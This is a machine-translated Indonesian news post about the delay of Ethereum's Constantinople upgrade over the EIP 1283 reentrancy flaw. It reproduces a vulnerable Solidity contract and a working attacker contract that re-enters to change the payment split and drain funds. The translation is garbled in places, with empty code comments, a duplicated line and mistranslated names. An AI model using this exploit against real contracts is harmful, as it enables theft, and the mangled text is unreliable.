* Pembaruan Ethereum "Constantinople" ditunda karena kerentanan potensial ditemukan pada saat terakhir

gambar
* Banyak orang menyebut acara ini "garpu keras", tetapi Vitalik menentangnya .

Rilis Konstantinopel yang telah lama ditunggu-tunggu itu seharusnya berlangsung pada 17 Januari, jam 4:00 UTC , namun, sekali lagi, secara brutal mematahkan segudang pengembang pengembang penghitung waktu mundur, ini tidak akan menjadi kenyataan.

30 jam sebelum rilis resmi, karena kerentanan ditemukan, dipandu oleh prinsip "lebih baik untuk menjalin daripada untuk non-menjalin", pembaruan ditunda tanpa batas waktu.

Suatu peristiwa yang mengangkat telinga seluruh komunitas adalah tawaran sembrono dari EIP 1283 , yang memurahkan pelaksanaan Instruksi SSTORE (sic!). Secara umum, salah satu arah utama pembaruan adalah penerapan instruksi yang lebih berat dan lebih murah dan lebih cepat.

Peristiwa 15 Januari berkembang sebagai berikut (waktu di PST):

  • pada jam 8 pagi, ChainSecurity menerbitkan deskripsi kerentanan ;
  • di sana, Martin Holst Swende (penjaga keamanan utama di Ethereum Foundation) membangunkan semua pengembang kunci, mengingat bahwa hanya ada 37 jam tersisa sebelum pembaruan, dan di sini kita memilikinya;
  • sebelum siang hari ada perdebatan sengit di ruang obrolan dan "suara";
  • Saat makan malam, diputuskan untuk membatalkan pembaruan.

Situasi ini diperburuk oleh kenyataan bahwa waktu untuk mengerahkan kapal dipilih dengan sangat buruk: hampir setengah dari simpul berhasil diperbarui, dan semua yang lain ditendang secara metodis dan terus-menerus selama beberapa minggu terakhir. Akibatnya, sekarang node yang diperbarui harus diperbarui lagi (baik naik atau turun ... mda). Dan siapa yang tidak punya waktu dan tidur melalui semuanya - dilakukan dengan baik, mereka tidak perlu melakukan apa pun.

Kemudian semuanya dapat diprediksi - pasar bereaksi dengan jatuhnya tingkat eter (haha) 5%. Banyak, tentu saja, jengkel karena mereka mengatakan bagaimana harga instruksi dapat memengaruhi kerahasiaan, mengapa Anda meletakkannya di sana dan semua itu ... Tetapi pada kenyataannya, tidak ada yang aneh, semuanya seperti orang lain.

Lebih baik membaca tentang rincian teknis kerentanan di artikel asli dari ChainSecurity , tidak sulit untuk mengetahuinya.

Siapa yang terlalu malas untuk menyelami kode - intinya adalah bahwa sebelum pembaruan, instruksi SSTORE sangat mahal sehingga tidak ada cara untuk mengubah "keadaan" dari kontrak lain, setelah Konstantinopel memperbarui instruksi menjadi lebih murah (dan), dan Anda dapat mengubah "penyimpanan" berkali-kali, dengan demikian mengubah logika kontrak yang rentan.

Kode kontrak yang rentan (dengan komentar saya):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; //      ,       (  ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } //    ,       function deposit(uint id) public payable { deposits[id] += msg.value; } //       function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // ,  (     split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; //     (    fallback-   ) a.transfer(depo * splits[id] / 100); //  -   (       ) b.transfer(depo * (100 - splits[id]) / 100); } } 

Kode Kontrak Serang:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } //    *,      PaymentSharer   function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback ,     transfer- function () payable external { address x = victim; // ,       (  ,   updateSplit(0, 0)), ..    Split          assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

* dalam dokumen asli tidak ada, tetapi di suatu tempat harus ada inisialisasi formulir:
init (0, "Alamat kontrak penyerang", "alamat dompet penyerang")

sebelum memanggil metode serangan.

Tentu saja, ada banyak pertanyaan pada kontrak PaymentSharer itu sendiri, di mana kami diperlihatkan kerentanan, itu sendiri bengkok dalam dirinya sendiri, dan di dalamnya masalahnya
dan tidak dalam harga SSTORE, dan secara umum - mereka tidak menemukan contoh hidup di jaringan rilis, tetapi memutuskan untuk memainkannya dengan aman, semua sama, harga kesalahan mungkin terlalu tinggi (semua orang ingat DAO yang sudah lama mati di sini).

Secara umum, komunitas Ethereum memiliki banyak acara menarik: perjuangan para kardinal pasar abu-abu (GPU vs ASIC) semakin intensif, yang dengan sendirinya layak menjadi artikel terpisah, peluncuran Bacon Chain yang akan datang mendapatkan momentum - tahun ini menjanjikan akan kaya dalam acara dan intrik.

Source: https://habr.com/ru/post/id436262/


All Articles